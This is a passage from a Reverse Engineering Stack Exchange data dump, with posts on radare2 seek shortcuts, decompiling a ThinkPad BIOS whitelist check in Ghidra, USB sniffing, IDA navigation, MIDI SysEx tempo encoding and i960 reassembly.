this way (I've added C equivalents next to each assembly instruction):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp + 8] ; eax = e - remember, in my example e is a pointer&#xA;mov eax, [eax + 4] ; eax = *(e + 4) = e-&amp;gt;member2, so now eax contains the memory address at e-&amp;gt;member2&#xA;mov ecx, [eax] ; ecx = *(e-&amp;gt;member2) - ecx contains the integer value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2020-05-29T13:16:21.727" LastActivityDate="2020-05-29T13:16:21.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25150" PostTypeId="2" ParentId="25148" CreationDate="2020-05-29T12:58:01.867" Score="1" Body="&lt;p&gt;I suppose there is no such option currently in radare2 (though more experienced radare2 contributors would tell it for sure). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are really annoyed by having to type &lt;code&gt;0x&lt;/code&gt;'s in front every single time, you can perform a &lt;em&gt;temporary&lt;/em&gt; (very hacky) solution. To do so, you can modify the &lt;code&gt;libr/core/cmd_seek.c&lt;/code&gt; file (which is responsible for handling seek command) as follows:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bnQsP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bnQsP.jpg&quot; alt=&quot;r2SeekHAck&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then use &lt;code&gt;make&lt;/code&gt; to compile the project. After this, you will get the feature you want (will also work with &lt;code&gt;g&lt;/code&gt; in Visual Mode):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MKtGY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MKtGY.jpg&quot; alt=&quot;r2HexSeekHack&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the patch code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ut64 addr;&#xA;if ((input[1] &amp;gt;= '1' &amp;amp;&amp;amp; input[1] &amp;lt;= '9') || (input[1] &amp;gt;= 'a' &amp;amp;&amp;amp; input[1] &amp;lt;= 'f'))&#xA;{&#xA;    char inputHex[strlen(input) + 1];&#xA;    inputHex[0] = '0';&#xA;    inputHex[1] = 'x';&#xA;    int i = 2;&#xA;    for (; i &amp;lt; strlen(input) + 1; i++)&#xA;        inputHex[i] = input[i - 1];&#xA;    addr = r_num_math (core-&amp;gt;num, inputHex);&#xA;} &#xA;else&#xA;     addr = r_num_math (core-&amp;gt;num, input + 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2020-05-29T19:57:54.930" LastActivityDate="2020-05-29T19:57:54.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25152" PostTypeId="1" CreationDate="2020-05-29T13:04:06.183" Score="1" ViewCount="474" Body="&lt;p&gt;I am trying to bypass or erase the BIOS whitelist on my Thinkpad T440p. So far I've&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;used flashrom and a soic8 clip to dump the bios to a bios.img file&lt;/li&gt;&#xA;&lt;li&gt;made another dump and compared with &lt;code&gt;diff bios.img bios2.img&lt;/code&gt; to verify the file&lt;/li&gt;&#xA;&lt;li&gt;used the UEFITool to find and extract the relevant section containing the string &quot;Unauthorized network card ...&quot; as an .efi file&lt;/li&gt;&#xA;&lt;li&gt;Analyzed that section using Ghidra&lt;/li&gt;&#xA;&lt;li&gt;Found a function in Ghidra (FUN_00010ec4) that contains said string (DAT_000104d0), and an entry function that calls this function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below, I'll post the function containing the string first, and then the entry function. Also, I'll put a link there to the extracted body.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void FUN_00010ec4(undefined8 param_1,undefined *param_2,undefined8 param_3,undefined8 param_4)&#xA;&#xA;{&#xA;   if (param_2 == (undefined *)0x0) {&#xA;     param_2 = &amp;amp;DAT_00010ec0;&#xA;  }&#xA;  (**(code **)(DAT_00011040 + 0x170))(0x200,param_1,param_2,param_3,&amp;amp;DAT_000104d0,param_4);&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above function gets called from here: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;longlong entry(undefined8 param_1,longlong param_2)&#xA;&#xA;{&#xA;  longlong lVar1;&#xA;  undefined8 local_res18;&#xA;  undefined8 *local_res20;&#xA;  undefined local_18 [24];&#xA;&#xA;  FUN_00010f08(param_1,param_2);&#xA;  lVar1 = (**(code **)(DAT_00011040 + 0x140))(&amp;amp;LAB_00010480,0,&amp;amp;DAT_00011058);&#xA;  if (-1 &amp;lt; lVar1) {&#xA;    lVar1 = (**(code **)(DAT_00011040 + 0x140))(&amp;amp;LAB_00010410,0,&amp;amp;DAT_00011070);&#xA;    if (-1 &amp;lt; lVar1) {&#xA;      lVar1 = (**(code **)(DAT_00011040 + 0x140))(&amp;amp;DAT_000103f0,0,&amp;amp;DAT_00011078);&#xA;      if (-1 &amp;lt; lVar1) {&#xA;        lVar1 = (**(code **)(DAT_00011040 + 0x140))(&amp;amp;LAB_00010460,0);&#xA;        if (-1 &amp;lt; lVar1) {&#xA;          DAT_00011060 = *local_res20;&#xA;          local_res18 = 0;&#xA;          _DAT_00011068 = &amp;amp;LAB_00010b54;&#xA;          (**(code **)(DAT_00011040 + 0x80))(&amp;amp;local_res18,&amp;amp;DAT_000103d0,0,&amp;amp;DAT_00011068);&#xA;          DAT_00011028 = local_res18;&#xA;          FUN_00010ec4(0x10,FUN_00010cf8,0,local_18);&#xA;          lVar1 = 0;&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;  return lVar1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The body, as well as the dumped .img can be found &lt;a href=&quot;https://c.gmx.net/@324492825821451320/FEFfHieaT2uKXWqWaCpFKQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know what to do with this. Could I just remove the line &lt;code&gt;FUN_00010ec4(0x10,FUN_00010cf8,0,local_18);&lt;/code&gt; and the function would never get called, thus freeing me from the whitelist? What other possibilities do you see to get around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first time I deal with BIOS-modding, and I really don't want to brick my laptop. Also I'm sorry, if I use the wrong tags. I'm open for suggestions for better fitting ones.&lt;/p&gt;&#xA;" OwnerUserId="33377" LastActivityDate="2020-05-29T13:04:06.183" Title="Removing/bypassing a BIOS whitelist" Tags="|decompilation|static-analysis|ghidra|functions|bios|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25153" PostTypeId="1" CreationDate="2020-05-29T16:32:46.323" Score="1" ViewCount="179" Body="&lt;p&gt;I have a USB keyboard which has an Electron app to set the macros on the keyboard. I unpacked the &lt;code&gt;app.asar&lt;/code&gt; file, and the JS files seem to indicate that it is a ReactJS app, and is a minified production build, and obfuscated too much to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to approach the problem seemed to be to use USB sniffer. I chose WireShark for the job. I wanted to capture all the data packets sent from the app to the keyboard, and hoped to reverse engineer that. The problem is, I can't find a way to capture the raw USB stream. I tried using WireShark to monitor &lt;code&gt;usbmon0&lt;/code&gt;, but there is too much metadata, and separating the raw data from the protocol metadata seems to be a daunting task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have a hardware USB sniffer or a JTAG debugger. Is there a simple way to capture all the raw data going from the app to the keyboard?&lt;/p&gt;&#xA;" OwnerUserId="33381" LastActivityDate="2020-05-29T16:32:46.323" Title="Intercepting packets from Electron App to keyboard in Linux" Tags="|javascript|usb|sniffing|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25155" PostTypeId="2" ParentId="25148" CreationDate="2020-05-29T19:59:26.990" Score="1" Body="&lt;p&gt;i cant say how much helpful this is but you can set e asm.tailsub=true and use .. instead of 0x&lt;br&gt;&#xA;(this is not actually replacing the 0x it is tail substitution)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is it will seek to +0x10 if you do s .. 10 from current seek &#xA;or seek 0x100 if you do s ..100 or seek 0x1000 if you do s ..1000    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it only substitutes the tail we are abusing this by substituting the whole body see the edit just so if you were wondering how are why &lt;/p&gt;&#xA;&#xA;&lt;p&gt;like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 c:\Windows\System32\calc.exe&#xA; -- Enable asm.trace to see the tracing information inside the disassembly&#xA;[0x140001820]&amp;gt; e asm.tailsub&#xA;false&#xA;[0x140001820]&amp;gt; s 1400018f0&#xA;Cannot seek to unknown address '1400018f0'&#xA;[0x140001820]&amp;gt; e asm.tailsub = true&#xA;[0x140001820]&amp;gt; s ..1400018f0&#xA;[0x1400018f0]&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit as explanation for what is .. or tailsub&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[0x100000000]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; s entry0&#xA;[0x140001820]&amp;gt; s ..1337&#xA;[0x140001337]&amp;gt; s ..99999&#xA;[0x140099999]&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-05-29T20:42:24.537" LastActivityDate="2020-05-29T20:42:24.537" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25156" PostTypeId="2" ParentId="25132" CreationDate="2020-05-29T20:23:24.770" Score="1" Body="&lt;p&gt;Well, I am not (yet) an expert, but since I work in embedded software now I'd guess that this is your problem:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Old:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MXC MTD nand Driver 2.5&#xA;NAND device: Manufacturer ID: 0x20, Chip ID: 0xaa (ST Micro NAND 256MiB 1,8V 8-bit)&#xA;Searching for RedBoot partition table in NAND 256MiB 1,8V 8-bit at offset 0xff60000&#xA;No RedBoot partition table detected in NAND 256MiB 1,8V 8-bit&#xA;Creating 5 MTD partitions on &quot;NAND 256MiB 1,8V 8-bit&quot;:&#xA;0x000000000000-0x000000100000 : &quot;nand.bootloader&quot;&#xA;0x000000100000-0x000000400000 : &quot;nand.kernel&quot;&#xA;0x000000400000-0x00000fc00000 : &quot;nand.rootfs&quot;&#xA;0x00000fc00000-0x00000fd00000 : &quot;nand.configure&quot;&#xA;0x00000fd00000-0x000010000000 : &quot;nand.userfs&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;New:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MXC MTD nand Driver 2.5&#xA;NAND device: Manufacturer ID: 0x2c, Chip ID: 0xaa (Micron NAND 256MiB 1,8V 8-bit)&#xA;Unrecognized NAND Flash device.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Long story short, you'll need something that your kernel will recognize. The NAND components are from different vendors, so while the boards may be the same to the manufacturer, they differ in details that matter to your older kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your kernel command line (typically taken from the U-Boot environment) differs between the two boots.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, I would reckon there's at least a way to get this to boot as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;from the U-Boot environment (basically you hit a key during the &lt;code&gt;Hit any key to stop autoboot:&lt;/code&gt; prompt) you find out what your new board does to find the NFS server&lt;/li&gt;&#xA;&lt;li&gt;set up a local DHCP server&lt;/li&gt;&#xA;&lt;li&gt;make sure to make the root FS from your old board available under the expected path&lt;/li&gt;&#xA;&lt;li&gt;boot - as you did now - and you should get a system up and running on an NFS root FS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While this doesn't solve the problem of modifying your existing kernel to fully boot off the NAND on the new board, it will allow you to tinker further with the new boot which the kernel panic &lt;em&gt;currently&lt;/em&gt; prevents you from doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that modifying something in the U-Boot environment will get you further, but &lt;em&gt;this&lt;/em&gt; is what I'd do at this point.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2020-05-29T20:23:24.770" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25161" PostTypeId="1" AcceptedAnswerId="25170" CreationDate="2020-05-30T03:00:01.537" Score="0" ViewCount="40" Body="&lt;p&gt;I found an address of a function from the game AssaultCube, and the address is &lt;code&gt;0045BCA0&lt;/code&gt;. In IDA, I disassembled ac_client.exe as a portable executable and tried to search for that address in the subview window with no results. This address is definitely in the actual game. How would I make IDA include more subview addresses so I can find that function address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can't Find Address&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nQ9xk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nQ9xk.png&quot; alt=&quot;Missing Addresses&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33388" LastActivityDate="2020-05-30T16:58:43.567" Title="IDA No Search Results in Subview For Viable Address" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25162" PostTypeId="1" AcceptedAnswerId="25163" CreationDate="2020-05-30T05:51:10.757" Score="3" ViewCount="171" Body="&lt;p&gt;I'm sending MIDI messages to a proprietary turntable that has an LCD screen on it. The normal software sends out updates via MIDI SysEx to display the current tempo on the LCD. The MIDI is being received on a MKL25Z128VLK4, Cortex-M0+/ARMv6-M device. (I did disassemble the firmware .bin after digging in its guts for the type of chip it's using, but the result of that was ~30k lines of assembly) The LCD model number is inaccessible without desoldering&lt;/p&gt;&#xA;&lt;p&gt;At this point, I can successfully update the screen but I'm having trouble figuring out the pattern from a given number and I'm hoping someone else has experience with this.&lt;/p&gt;&#xA;&lt;p&gt;Here's what I have found so far:&lt;/p&gt;&#xA;&lt;p&gt;Setting a single byte to anything from 9-126 results in 00.0&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  BPM   B1    B2    B3    B4&#xA; 00.0   0     0     0     0&#xA; 00.0   0     0     0     1&#xA; 00.0   0     0     0     2&#xA; 00.0   0     0     0     3&#xA; 00.0   0     0     0     4&#xA; 00.0   0     0     0     5&#xA; 00.0   0     0     0     6&#xA; 00.0   0     0     0     7&#xA; 00.0   0     0     0     8&#xA; 00.0   0     0     0    16&#xA; 00.0   0     0     0    32&#xA; 00.0   0     0     0    64&#xA; 00.1   0     0     0   127&#xA; 00.1   0     0     1     0&#xA; 00.3   0     0     2     0&#xA; 00.4   0     0     3     0&#xA; 00.6   0     0     4     0&#xA; 00.8   0     0     5     0&#xA; 00.9   0     0     6     0&#xA; 01.1   0     0     7     0&#xA; 01.2   0     0     8     0&#xA; 00.0   0     0    16     0&#xA; 00.0   0     0    32     0&#xA; 00.0   0     0    64     0&#xA; 02.4   0     0   127     0&#xA; 02.5   0     1     0     0&#xA; 05.1   0     2     0     0&#xA; 07.6   0     3     0     0&#xA; 10.2   0     4     0     0&#xA; 12.8   0     5     0     0&#xA; 16.3   0     6     0     0&#xA; 17.9   0     7     0     0&#xA; 20.4   0     8     0     0&#xA; 00.0   0    16     0     0&#xA; 00.0   0    32     0     0&#xA; 00.0   0    64     0     0&#xA; 38.4   0   127     0     0&#xA; 40.9   1     0     0     0&#xA; 81.9   2     0     0     0&#xA;122.8   3     0     0     0&#xA;163.8   4     0     0     0&#xA;204.8   5     0     0     0&#xA;245.7   6     0     0     0&#xA;286.7   7     0     0     0&#xA;327.6   8     0     0     0&#xA; 00.0  16     0     0     0&#xA; 00.0  32     0     0     0&#xA; 00.0  64     0     0     0&#xA;614.4 127     0     0     0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Turning on multiple bytes adds them together with sometimes strange results&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 40.9   1     0     0     0&#xA; 00.1   0     0     1     0&#xA; 41.1   1     0     1     0&#xA;&#xA; 81.9   2     0     0     0&#xA; 00.1   0     0     1     0&#xA; 82.0   2     0     1     0&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm wondering if there's some floating point or bitwise maths going on that I'm just not well versed in, and if so what are the real numbers and data types used for the calculations? I feel understanding this is crucial to solving this problem without a massive lookup table or gutting it and writing my own controller&lt;/p&gt;&#xA;" OwnerUserId="33391" LastEditorUserId="245" LastEditDate="2020-06-24T11:53:10.647" LastActivityDate="2020-06-24T11:53:10.647" Title="Construct a number from 0-999.9 using 5 data bytes of a MIDI SysEx message" Tags="|debugging|hardware|patching|embedded|math|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25163" PostTypeId="2" ParentId="25162" CreationDate="2020-05-30T08:34:14.537" Score="4" Body="&lt;h2&gt;Binary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;MIDI data bytes are 7 bits, meaning they can have decimal values from 0 to 127.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a 7-bit binary number:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the bit on the right represents a decimal value of 1.&lt;/li&gt;&#xA;&lt;li&gt;the next bit to the left represents a decimal value of 2.&lt;/li&gt;&#xA;&lt;li&gt;the next bits to the left represent decimal values of 4, 8, 16, 32, and 64.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Decimal values from 0 to 127 can be expressed in seven bits, where each bit is a 0 or 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binary   decimal&#xA;0000001  1 = 1&#xA;0000010  2 = 2&#xA;0000011  3 = 2 + 1&#xA;0000100  4 = 4&#xA;0000101  5 = 4 + 1&#xA;0000110  6 = 4 + 2&#xA;0000111  7 = 4 + 2 + 1&#xA;0001000  8 = 8&#xA;0001001  9 = 8 + 1&#xA;...&#xA;1111111  127 = 64 + 32 + 16 + 8 + 4 + 2 + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Pattern&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From the results you described, I suspect the turntable only cares about the lowest 4 bits in each byte. In other words, only the bits with decimal values of 1, 2, 4, and 8 will have an effect on the tempo display. This means only byte values 0 to 15 are useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the turntable is using the following pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B1  B2  B3  B4  tempo  display&#xA; 0   0   0   0   .00     .0&#xA; 0   0   0   1   .01      &quot;&#xA; 0   0   0   2   .02      &quot;&#xA; 0   0   0   3   .03      &quot;&#xA; 0   0   0   4   .04      &quot;&#xA; 0   0   0   5   .05      &quot;&#xA; 0   0   0   6   .06      &quot;&#xA; 0   0   0   7   .07      &quot;&#xA; 0   0   0   8   .08      &quot;&#xA; 0   0   0   9   .09      &quot;&#xA; 0   0   0  10   .10     .1&#xA; 0   0   0  11   .11      &quot;&#xA; 0   0   0  12   .12      &quot;&#xA; 0   0   0  13   .13      &quot;&#xA; 0   0   0  14   .14      &quot;&#xA; 0   0   0  15   .15      &quot;&#xA; 0   0   1   0   .16      &quot;&#xA; 0   0   1   1   .17      &quot;&#xA; 0   0   1   2   .18      &quot;&#xA; 0   0   1   3   .19      &quot;&#xA; 0   0   1   4   .20     .2&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The byte values represent tempo values in .01 units, but when the turntable displays the tempo, it hides the last digit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hidden digit explains why turning on multiple bytes doesn't always produce the sum of the tempos displayed by the individual byte values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B1  B2  B3  B4  tempo  display&#xA; 1   0   0   0  40.96   40.9&#xA; 0   0   1   0    .16     .1&#xA; 1   0   1   0  41.12   41.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Bitwise math&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When only some bits are used, bitwise math is indeed useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's some Javascript to convert a tempo to the needed byte values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t = 123.4;&#xA;&#xA;v = 100 * t;&#xA;&#xA;b1 = (v &amp;gt;&amp;gt; 12) &amp;amp; 15;&#xA;b2 = (v &amp;gt;&amp;gt; 8) &amp;amp; 15;&#xA;b3 = (v &amp;gt;&amp;gt; 4) &amp;amp; 15;&#xA;b4 = v &amp;amp; 15;&#xA;&#xA;console.log(b1, b2, b3, b4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x &amp;amp; 15&lt;/code&gt; is a &lt;strong&gt;bitwise AND&lt;/strong&gt;, in this case, to keep only the lowest four bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x &amp;gt;&amp;gt; 4&lt;/code&gt; is a &lt;strong&gt;right shift&lt;/strong&gt;, in this case shifting the value 4 bits to the right, which discards the lowest four bits. This has the same effect as dividing by 16 and discarding the remainder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some Javascript to convert the byte values to the displayed tempo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b1 = 3;&#xA;b2 = 0;&#xA;b3 = 3;&#xA;b4 = 4;&#xA;&#xA;b1 = b1 &amp;amp; 15;&#xA;b2 = b2 &amp;amp; 15;&#xA;b3 = b3 &amp;amp; 15;&#xA;b4 = b4 &amp;amp; 15;&#xA;&#xA;v = 16*16*16*b1 + 16*16*b2 + 16*b3 + b4;&#xA;&#xA;t = parseInt(v / 10) / 10;&#xA;&#xA;console.log(t);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your web browser, you can go to about:blank, then press F12 and go to Console to enter these small Javascript calculations. (For your safety, enter about:blank in the address box, and never run code from strangers if you don't understand it.)&lt;/p&gt;&#xA;" OwnerUserId="33392" LastEditorUserId="33392" LastEditDate="2020-05-31T09:16:19.167" LastActivityDate="2020-05-31T09:16:19.167" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="25164" PostTypeId="1" CreationDate="2020-05-30T09:13:00.183" Score="1" ViewCount="135" Body="&lt;p&gt;I'm disassembling a game which runs on an Intel i960 processor. My disassembly is at a point I would like to try to reassemble it from an IDA Pro generated ASM file. The ASM file needs slight manipulation for the binutils 2.16.1a i960-coff targeted assembler to work, however there seems to be an instruction, with similar instructions to follow but the assembler segfaults after this instruction, which cannot be reassembled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction is as follows: &quot;stt     r12, (g11)[g12]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A git which shows the switch statement which defaults to the error can be found &lt;a href=&quot;https://github.com/MPSLab-ASU/ccf/blob/1dd8772d88d867b6051226ed273f4109da41099f/plugin-llvm-gold/binutils/gas/config/tc-i960.c#L945&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;A colleague of mine explains that the error around the scale field is because the scale factor isn't 1, 2, 4, 8,or 16. The scale factor is only three bits, and he hypothesizes that this most likely is Register Indirect with Index form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a programming manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The st, stl, stt, and stq instructions copy 4, 8, 12, and 16 bytes&#xA;  from successive registers into memory. ... Floating-point values are&#xA;  loaded from memory into global or local registers using the load (ld),&#xA;  load long (ldl), and load triple (ldt) instructions. Likewise,&#xA;  floating-point values in global or local registers are stored in&#xA;  memory using the store (st), store long (stl), and store triple (stt)&#xA;  instructions. ... The st, stl, stt, and stq instructions copy 4, 8,&#xA;  12, and 16 bytes, respectively, from successive registers to memory.&#xA;  For the stt instruction, src must specify an even numbered register&#xA;  (e.g., gO, g2, ... , gI2). For the stt and stq instructions, src must&#xA;  specify a register number that is a multiple of four (e.g., gO, g4,&#xA;  g8).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I, however, have a feeling that it might be a Register Indirect with index and displacement. The reason being is that the instruction can also be disassembled as &quot;&quot;stt     r12, (g11)[g12*1]&quot; and a manual lists a Register Indirect with index and displacement example in assembler syntax as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;exp (reg) [reg*scale]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But if that were the case, the scale would be 1. I am at somewhat of a loss and wish to pick the minds of the reverse engineering stack exchange to see what information may arise. It may be just that the game company had their own assembler and special knowledge on the processor that was not public or published.&lt;/p&gt;&#xA;" OwnerUserId="33394" LastActivityDate="2020-06-03T19:47:08.253" Title="Disassembly to reassembly - 80960: Invalid Scale Factor" Tags="|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25165" PostTypeId="1" AcceptedAnswerId="25166" CreationDate="2020-05-30T11:01:32.683" Score="0" ViewCount="282" Body="&lt;p&gt;The Radare2 command line (I believe it's called &quot;interactive mode&quot;?) allows bringing back history and editing it with the arrow keys. However, I prefer to use vi/vim keybindings for this. How do I configure this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a &lt;code&gt;$HOME/.inputrc&lt;/code&gt; file which contains &lt;code&gt;set editing-mode vi&lt;/code&gt;, and this works for many programs (presumably all that use GNU Readline or a compatible library).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there an option available to build Radare2 with Readline?&lt;/p&gt;&#xA;" OwnerUserId="28616" LastEditorUserId="28616" LastEditDate="2020-05-30T11:36:09.553" LastActivityDate="2021-02-24T17:06:35.677" Title="How do I use vi keybindings at the command line in Radare2?" Tags="|radare2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25166" PostTypeId="2" ParentId="25165" CreationDate="2020-05-30T11:42:46.573" Score="0" Body="&lt;p&gt;You can &lt;code&gt;e scr.prompt.vi = true&lt;/code&gt; to enable a limited form of vi key bindings for command line editing. However, this is &lt;em&gt;very&lt;/em&gt; limited; it's even missing basic movement commands such as &lt;kbd&gt;f&lt;/kbd&gt; and &lt;kbd&gt;t&lt;/kbd&gt;, and some commands such as &lt;kbd&gt;cw&lt;/kbd&gt; do not appear to work properly. Searching with vi keybindings is unavailable; you must still use the Emacs &lt;kbd&gt;Ctrl-R&lt;/kbd&gt; syntax to search backwards in your history. And a special warning: &lt;kbd&gt;Enter&lt;/kbd&gt; in command mode will do nothing; you must enter insert mode and press &lt;kbd&gt;Enter&lt;/kbd&gt; to enter the command you've just brought up or edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I found the setting by searching the configuration variables using &lt;code&gt;e scr. ~vi&lt;/code&gt;; thanks to @blabb for mentioning this to me.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2 uses its own command line editing code, in &lt;code&gt;libr/cons/dietline.c&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28616" LastEditorUserId="28616" LastEditDate="2020-05-30T11:49:21.427" LastActivityDate="2020-05-30T11:49:21.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25170" PostTypeId="2" ParentId="25161" CreationDate="2020-05-30T16:58:43.567" Score="0" Body="&lt;p&gt;Looks like no function has been created at that address for whatever reason. Try jumping to it manually(&lt;kbd&gt;G&lt;/kbd&gt; shortcut) and create code/function there. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-30T16:58:43.567" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
